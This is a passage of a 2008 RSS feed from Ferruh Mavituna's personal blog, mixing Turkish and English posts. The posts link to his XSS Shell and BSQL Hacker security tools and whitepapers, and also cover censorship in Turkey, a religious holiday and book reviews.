&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=cUI5ff2w"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=NAlwoXJB"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=fpLei3Gi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ukRuFlEg"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=ukRuFlEg" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/rc3lCyUDl0M" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/hack-slash-development-oku/</guid>
  <comments>http://ferruh.mavituna.com/hack-slash-development-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/hack-slash-development-oku/</feedburner:origLink></item>
<item>
  <title>XSS Shell and XSS Tunnel Video</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/rHOoZuYDIcQ/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 23 Ağu 2008 12:18:28 +0300</pubDate>
  <description>&lt;p&gt;&lt;a href="http://infinityexists.com/2008/08/22/episode-21-xss-tunnel/"&gt;Infinity Exists released a new episode&lt;/a&gt; which shows how to setup and use &lt;a href="https://labs.portcullis.co.uk/application/xssshell/"&gt;XSS Shell&lt;/a&gt; and &lt;a href="https://labs.portcullis.co.uk/application/xss-tunnelling/xss-tunnel/"&gt;XSS Tunnel&lt;/a&gt;.&amp;#160; It explains how to download, setup and attack with XSS Shell / Tunnel. If you want to learn how to use it, having problems or just want to take a look at it, watch &lt;a href="http://infinityexists.com/2008/08/22/episode-21-xss-tunnel/"&gt;episode 21 - XSS Tunnel&lt;/a&gt;. &lt;/p&gt;  &lt;p&gt;I've released a simple 2 minutes video ages ago, &lt;a href="http://ferruh.mavituna.com/blogs/xsstunnelling-video.zip"&gt;you can download it as well&lt;/a&gt;. If you are interested in technical details read &lt;a href="https://labs.portcullis.co.uk/download/XSS-Tunnelling.pdf"&gt;XSS Tunnelling whitepaper&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eLdUrkTbckPhfmXZe_EEgafF7lk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eLdUrkTbckPhfmXZe_EEgafF7lk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eLdUrkTbckPhfmXZe_EEgafF7lk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eLdUrkTbckPhfmXZe_EEgafF7lk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=iQZFvFNN"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ETS4j0ko"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=6WW0ZTWF"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3MlSwgA3"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=3MlSwgA3" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/rHOoZuYDIcQ" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/xss-shell-and-xss-tunnel-video-oku/</guid>
  <comments>http://ferruh.mavituna.com/xss-shell-and-xss-tunnel-video-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/xss-shell-and-xss-tunnel-video-oku/</feedburner:origLink></item>
<item>
  <title>Sentenced to years of school</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/cjND22GVRcI/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 22 Ağu 2008 18:21:15 +0300</pubDate>
  <description>&lt;p&gt;Gods must be crazy' nin harika girişinden bir par&amp;#231;a :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;The more he improved his&amp;#160; surroundings to make life easier...     &lt;br /&gt;...the more complicated he made it.&lt;/p&gt;    &lt;p&gt;&lt;strong&gt;Now his children are sentenced to years of school, to learn how to survive in this complex and hazardous habitat.&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;a href="http://www.script-o-rama.com/movie_scripts/g/gods-must-be-crazy-script-transcript.html"&gt;T&amp;#252;m script' i şuradan g&amp;#246;rebilirsiniz.&lt;/a&gt; Filmi izlemediyseniz de tavsiye ederim, biraz eski ve bazı kısımları ger&amp;#231;ekten tırt ama sırf ilk girişi izlemek bile yeterli.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Ksj9cm-fy8BbehGokeEp34Kwn3A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ksj9cm-fy8BbehGokeEp34Kwn3A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Ksj9cm-fy8BbehGokeEp34Kwn3A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Ksj9cm-fy8BbehGokeEp34Kwn3A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=AgmN3UdK"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=SlXdc3VN"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=QzTB3n6X"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=GhLK55sd"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=GhLK55sd" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/cjND22GVRcI" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/sentenced-to-years-of-school-oku/</guid>
  <comments>http://ferruh.mavituna.com/sentenced-to-years-of-school-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/sentenced-to-years-of-school-oku/</feedburner:origLink></item>
<item>
  <title>Paylaşmak İçin Kaç Kişiye İhtiyaç Var</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/Ke_vuSNwhV0/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 22 Ağu 2008 03:41:07 +0300</pubDate>
  <description>&lt;p&gt;Hep aklımdaki bir sorudur, bir şeyi ka&amp;#231; kişi ile paylaşırsanız bu paylaşıma değmiş olur. Mesela twitter hesabınızı kimse takip etmiyorsa twitter' a mesaj g&amp;#246;ndermenin bir anlamı var mı?&lt;/p&gt;  &lt;p&gt;RSS' inizi ka&amp;#231; kişi okursa ya da sitenize g&amp;#252;nde ka&amp;#231; kişi gelirse bu sitede yazmaya değer? Yoksa bu paylaştığınız kişi sayısı ile kişisel tatmin bir birinden bağımsız olarak mı &amp;#231;alışıyor? Bir ka&amp;#231; seferinde teknik sorunlardan dolayı yazdığım yazıları kaybettim. Onları bir daha oturup yazmamıştım &amp;#231;&amp;#252;nk&amp;#252; benim i&amp;#231;in esas olan yazmaktı, dolayısıyla kişisel tatmin tamamlanmıştı ama bazen yazıyorsunuz &amp;#231;&amp;#252;nk&amp;#252; ger&amp;#231;ekten paylaşmak istiyorsunuz.&lt;/p&gt;  &lt;p&gt;Aynı konu rapidshare' da dosya paylaşmak ya da youtube' da video yayınlamak i&amp;#231;in de ge&amp;#231;erli. Bir youtube videosunu hazırlamak upload etmek i&amp;#231;in 3 saat harcadıysanız ve onu sadece 170 kişi izlediyse, bir daha bu tip bir şey yaparmıydınız? Soruyu devam ettirebiliriz yazdığınız bir kitabı ka&amp;#231; kişi okursa bu kitabı yazmış olmaya değer? &lt;/p&gt;  &lt;p&gt;Mesela bu nedenden dolayı bazı teknik yazıları T&amp;#252;rk&amp;#231;e hi&amp;#231; yayınlamıyorum &amp;#231;&amp;#252;nk&amp;#252; harcadığım vakte değmiyor. Konu &amp;#231;ok teknik ve spesifik olunca zaten &amp;#231;ok az kişinin ilgisini &amp;#231;ekiyor, bu az kişinin %75 i ingilizce biliyor oluyor dolayısıyla bir yazıyı sadece 10 kişi i&amp;#231;in T&amp;#252;rk&amp;#231;eye &amp;#231;evirmiş oluyorsunuz, bu da harcadığınız vakte genelde değmiyor.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/IjLqthQ4yzYYV6iYgXN3vuVU-x4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IjLqthQ4yzYYV6iYgXN3vuVU-x4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/IjLqthQ4yzYYV6iYgXN3vuVU-x4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/IjLqthQ4yzYYV6iYgXN3vuVU-x4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=oUAnwG9o"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2z0hBaBr"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=UJOmNZm9"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=GkvkgBQi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=GkvkgBQi" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/Ke_vuSNwhV0" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/paylasmak-icin-kac-kisiye-ihtiyac-var-oku/</guid>
  <comments>http://ferruh.mavituna.com/paylasmak-icin-kac-kisiye-ihtiyac-var-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/paylasmak-icin-kac-kisiye-ihtiyac-var-oku/</feedburner:origLink></item>
<item>
  <title>Sansür Muhabbetleri</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/H5zZ-SDQjy4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 22 Ağu 2008 01:31:22 +0300</pubDate>
  <description>&lt;p&gt;Bu konudan daha &amp;#246;nce temel şekilde bahsetmiştim ama dayanamayıp tekrar yazacağım.&lt;/p&gt;  &lt;p&gt;Eğer ger&amp;#231;ek d&amp;#252;nyadaki bir su&amp;#231; dijital ortamda işlendiyse bu &lt;strong&gt;su&amp;#231;u değiştirmez.&lt;/strong&gt; Eğer birisini dolandırırsanız &lt;strong&gt;dolandırıcılıktan yargılanırsınız&lt;/strong&gt;, eğer internet &amp;#252;zerinden dolandırırsanız &lt;strong&gt;nitelikli dolandırıcılıktan &lt;/strong&gt;yargılanırsınız, ama su&amp;#231; değişmez.&lt;/p&gt;  &lt;p&gt;Herkes yırtınıyor &lt;strong&gt;internette&lt;/strong&gt; sans&amp;#252;r olmasın diye, tamam olmasın ama T&amp;#252;rkiye' de &lt;strong&gt;sans&amp;#252;r var&lt;/strong&gt;. Kanun bu. Eğer bir şeylere yırtınacaksak &lt;strong&gt;sans&amp;#252;r olmasın diye &lt;/strong&gt;yırtınmamız&lt;strong&gt; &lt;/strong&gt;gerekiyor. D&amp;#252;ş&amp;#252;nce &amp;#246;zg&amp;#252;rl&amp;#252;ğ&amp;#252;n&amp;#252;n olmadığı (&lt;em&gt;bir &amp;#231;ok konuda&lt;/em&gt;) bir &amp;#252;lkede İnternette d&amp;#252;ş&amp;#252;nce &amp;#246;zg&amp;#252;rl&amp;#252;ğ&amp;#252;n&amp;#252;n olması i&amp;#231;in dayanağınız nedir &amp;#231;ok merak ediyorum.&lt;/p&gt;  &lt;p&gt;D&amp;#252;ş&amp;#252;nce &amp;quot;&lt;em&gt;memleketti kurtaramadık bari kendi oyun alanımız olan interneti kurtaralım&lt;/em&gt;&amp;quot; mıdır? Yoksa kanunun &amp;quot;&lt;em&gt;televizyonda, radyoda, kitapta vs. sans&amp;#252;re devam ama internette sans&amp;#252;r falan yok, herşey serbesttir&lt;/em&gt;&amp;quot; olarak değişmesini umuyoruz?&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Not: Şu anki başbakanının d&amp;#252;ş&amp;#252;nce su&amp;#231;undan zamanında hapise girdiği, halk tarafından se&amp;#231;ilen partilerin her an kapatılma korkusu ile yaşadığı ya da kapatıldığı, kuruluşundan beri &amp;#231;eşitli nedenlerle insanların asıldığı, kaybolduğu bir memlekette youtube kapanınca herkesin fikir serbestliğinden, &amp;#246;zg&amp;#252;rl&amp;#252;kten dem vurmaya başlaması da biraz komik. Hani hepsi tamamdı da bu son damla bardağı taşırdı kıvamında. Neyse gene d&amp;#252;nyevi konulara girdim, s&amp;#246;z bir sonraki yazı teknik olacak.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/OePhk5qfEmlmjBL4WHDewZU93ow/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OePhk5qfEmlmjBL4WHDewZU93ow/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/OePhk5qfEmlmjBL4WHDewZU93ow/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OePhk5qfEmlmjBL4WHDewZU93ow/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=RIe7r8YU"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=7G8SCTnu"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=4dm2X3WO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=F3Gd9usH"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=F3Gd9usH" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/H5zZ-SDQjy4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/sansur-muhabbetleri-oku/</guid>
  <comments>http://ferruh.mavituna.com/sansur-muhabbetleri-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/sansur-muhabbetleri-oku/</feedburner:origLink></item>
<item>
  <title>BSQL Hacker and Deep Blind SQL Injections</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/bqYYDjgeKfE/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Sal, 19 Ağu 2008 16:40:25 +0300</pubDate>
  <description>&lt;p&gt;Finally I released &lt;a href="http://labs.portcullis.co.uk/application/bsql-hacker/"&gt;BSQL Hacker&lt;/a&gt; and &lt;a href="http://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf"&gt;Deep Blind SQL Injection whitepaper&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/MDWj2m1fG-EBSPv7EfG5Te3lclg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MDWj2m1fG-EBSPv7EfG5Te3lclg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/MDWj2m1fG-EBSPv7EfG5Te3lclg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/MDWj2m1fG-EBSPv7EfG5Te3lclg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=3xo3JbBO"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=qhhazA3m"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=L1xfuzpg"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=0KGMRId8"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=0KGMRId8" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/bqYYDjgeKfE" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/bsql-hacker-and-deep-blind-sql-injections-oku/</guid>
  <comments>http://ferruh.mavituna.com/bsql-hacker-and-deep-blind-sql-injections-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/bsql-hacker-and-deep-blind-sql-injections-oku/</feedburner:origLink></item>
<item>
  <title>Berat Kandiliniz Mübarek Olsun</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/_wyEUYmkVg4/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 16 Ağu 2008 20:35:03 +0300</pubDate>
  <description>&lt;blockquote&gt;   &lt;p&gt;Allah, kendisine şirk koşulmasının dışındaki istediği kimselerin b&amp;#252;t&amp;#252;n g&amp;#252;nahlarını bağışlar. (&lt;em&gt;Nisa Suresi, 48;116&lt;/em&gt;)&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;Helal dairesi geniştir, keyfe k&amp;#226;fi gelir (&lt;em&gt;S&amp;#246;zler&lt;/em&gt;)&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Tevbe etmek i&amp;#231;in g&amp;#252;zel bir gece,    &lt;br /&gt;&lt;a href="http://www.sorularlaislamiyet.com/subpage.php?s=article&amp;amp;aid=9194"&gt;Berat Kandili hakkında daha fazla bilgi ve verimli şekilde değerlendirmek &amp;#252;zerine g&amp;#252;zel bir yazı sorularla islamiyet' te var.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/P3DEMvcblthhAF5dk2rQSzpoOY4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P3DEMvcblthhAF5dk2rQSzpoOY4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/P3DEMvcblthhAF5dk2rQSzpoOY4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P3DEMvcblthhAF5dk2rQSzpoOY4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=40wpIgIM"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=jt9QSRYT"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=d2f1taYi"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=aQn9jrz2"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=aQn9jrz2" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/_wyEUYmkVg4" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/berat-kandiliniz-mubarek-olsun-oku/</guid>
  <comments>http://ferruh.mavituna.com/berat-kandiliniz-mubarek-olsun-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/berat-kandiliniz-mubarek-olsun-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> BSQL Hacker Videosu</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/a_gSgJvWy64/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cmt, 16 Ağu 2008 12:38:55 +0300</pubDate>
  <description>&lt;p&gt;Başka projelerden dolayı BSQL Hacker ile pek ilgilenemedim ama inşallah &amp;#246;n&amp;#252;m&amp;#252;zdeki hafta i&amp;#231;i ilk public betasını yayınlayacağım. &amp;quot;&lt;strong&gt;&lt;em&gt;Niye hala beta?&lt;/em&gt;&lt;/strong&gt;&amp;quot; diyebilirsiniz, sonu&amp;#231;ta bu kodu yaklaşık 4,5 sene &amp;#246;nce yazmaya başladım! Ama bir &amp;#231;ok yenilik eklendi, &amp;#231;ok geniş bir yapıya sahip. Ek olarak son versiyonda g&amp;#252;&amp;#231;l&amp;#252; bir API desteği de var. &lt;/p&gt;  &lt;p&gt;Aşağıdaki video SQL Injection Wizard' ını g&amp;#246;steriyor. &lt;a href="http://www.vimeo.com/1536040?pg=embed&amp;amp;sec=1536040"&gt;Videoyu direk Vimeodan izlerseniz HD izleme şansınız olacak, o şekilde &amp;#231;ok daha net&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;embed src="http://www.vimeo.com/moogaloop.swf?clip_id=1536040&amp;amp;server=www.vimeo.com&amp;amp;show_title=1&amp;amp;show_byline=1&amp;amp;show_portrait=0&amp;amp;color=&amp;amp;fullscreen=1" width="400" height="300" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="never" /&gt;     &lt;br /&gt;&lt;a href="http://www.vimeo.com/1536040?pg=embed&amp;amp;sec=1536040"&gt;BSQL Hacker Beta - Wizard Demo&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;Şu an yaptığım iş yeni &amp;#246;zellik eklmekten &amp;#231;ok bugları temizleme ve t&amp;#252;m &amp;#246;zelliklerin beklenildiği gibi &amp;#231;alıştığından emin olmaya &amp;#231;alışmak. Kodun &amp;#231;ok eski olması, 8000+ satır olması ve tamamen hack &amp;amp; slash yazılım geliştirme yaptığımdan dolayı &amp;#231;ok ciddi stabilite sorunları var. Buna rağmen şu an bulabileceğiniz en iyi SQL Injection ara&amp;#231;larından biri olduğunu d&amp;#252;ş&amp;#252;n&amp;#252;yorum. Yani bir &amp;#231;ok diğer aracın yapamadığı şeyleri yapabiliyor. Adam gibi yayınlayınca o konuların detaylarına ineceğim.&lt;/p&gt;  &lt;p&gt;BSQL Hacker a&amp;#231;ık kaynak kodlu bir yazılım ve kodu Google Code &amp;#252;zerinden yayınlanacak.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/LL_OemuRHH6PbD3E2canEGC1q04/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LL_OemuRHH6PbD3E2canEGC1q04/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/LL_OemuRHH6PbD3E2canEGC1q04/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/LL_OemuRHH6PbD3E2canEGC1q04/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xSGT1qFY"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=aalmgiL7"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xuvhlBR1"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=EeiOjiZF"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=EeiOjiZF" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/a_gSgJvWy64" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/bsql-hacker-videosu-oku/</guid>
  <comments>http://ferruh.mavituna.com/bsql-hacker-videosu-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/bsql-hacker-videosu-oku/</feedburner:origLink></item>
<item>
  <title>Kitaplar, Yalanlar, Wired ve Web Application Hackers Handbook</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/pIjANTmWjag/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Per, 14 Ağu 2008 16:00:14 +0300</pubDate>
  <description>&lt;p&gt;&lt;img height="220" alt="cover-sandl-200h" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniKitapSecretsandLies_EB9D/cover-sandl-200h_thumb.jpg" width="155" style="float:left"  /&gt;Siteyi takip edenlerdenseniz yakın d&amp;#246;nemde &lt;a href="http://ferruh.mavituna.com/yeni-web-guvenligi-kitaplari-oku/"&gt;Web Application Hackers Handbook&lt;/a&gt; ve &lt;a href="http://ferruh.mavituna.com/pragmatic-programmer-notlari-oku/"&gt;Pragmatic Programmer&lt;/a&gt; kitaplarını bitirdiğimi biliyor olabilirsiniz. &lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Pragmatic Programmer&lt;/strong&gt; &amp;#231;ok uzun zamandır okumak istediğim bir kitaptı ve &lt;em&gt;neredeyse&lt;/em&gt; bir başyapıt. &lt;a href="http://cc2e.com/"&gt;Code Complete&lt;/a&gt;' tan sonra&amp;#160; yazılım geliştirme konusundaki en iyi kitaptır. Eğer yazılım geliştirme ile ilgiliyseniz kesinlikle ve kesinlikle bu kitabı okuyun. Kitabın genel olarak &amp;#252;slubu da &amp;#231;ok keyifli. Daha &amp;#246;nceden &lt;a href="http://ferruh.mavituna.com/pragmatic-programmer-notlari-oku/"&gt;kitaptan aldığım bazı notları yayınlamıştım&lt;/a&gt;.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Web Application Hackers Handbook&lt;/strong&gt; daha &amp;#231;ok bir referans kitabı. Eğer web uygulaması g&amp;#252;venliği konusunda zaten &amp;#231;alışıyorsanız yeni bir şey bulamayacaksınız. Bu arada kitapta benim geliştirdiğim &lt;a href="https://labs.portcullis.co.uk/application/xssshell/"&gt;XSS Shell&lt;/a&gt;' den de bahsediliyor ama yazarların bir hatası sonucu XSS Shell' in &lt;a href="http://www.securiteam.com/tools/6X00120HFO.html"&gt;SecuriTeam tarafından&lt;/a&gt; geliştirildiği iddia edilmiş. İnanmayın bu tip şeylere! Bir sonraki baskı olursa d&amp;#252;zeltilecekmiş. &amp;#214;zetle kitap g&amp;#252;zel ama ben i&amp;#231;erisinde benim ilgimi &amp;#231;ekecek bir şey bulamadım. &lt;/p&gt;  &lt;p&gt;Normal şartlarda pek dergi okumam, en azından son 8 senedir dergi okumuyorum ama bir dergi istisna. Sanırım herkes &lt;a href="http://www.wired.com/"&gt;Wired'&lt;/a&gt; ı biliyordur. 